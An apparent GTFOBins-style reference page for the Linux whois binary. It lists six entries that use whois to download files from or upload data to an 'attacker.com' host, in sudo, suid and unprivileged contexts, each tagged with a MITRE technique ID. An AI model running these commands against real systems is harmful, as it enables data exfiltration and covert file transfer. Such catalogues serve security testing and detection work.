GTFO · Tool

whois

6 techniquesLinuxGTFOBinsGPL-3.0

download

File DownloadPrivilege EscalationLinux

Received data has instances of the `\r` byte stripped.

whois -h attacker.com -p 12345 x

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/whois/

File DownloadPrivilege EscalationLinux

Received data has instances of the `\r` byte stripped.

whois -h attacker.com -p 12345 x

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/whois/

File DownloadLinux

Received data has instances of the `\r` byte stripped.

whois -h attacker.com -p 12345 x

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/whois/

File UploadPrivilege EscalationLinux

Data is converted to lower case, and has a trailing `\r\n`.

whois -h attacker.com -p 12345 DATA

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/whois/

File UploadPrivilege EscalationLinux

Data is converted to lower case, and has a trailing `\r\n`.

whois -h attacker.com -p 12345 DATA

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/whois/

File UploadLinux

Data is converted to lower case, and has a trailing `\r\n`.

whois -h attacker.com -p 12345 DATA

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/whois/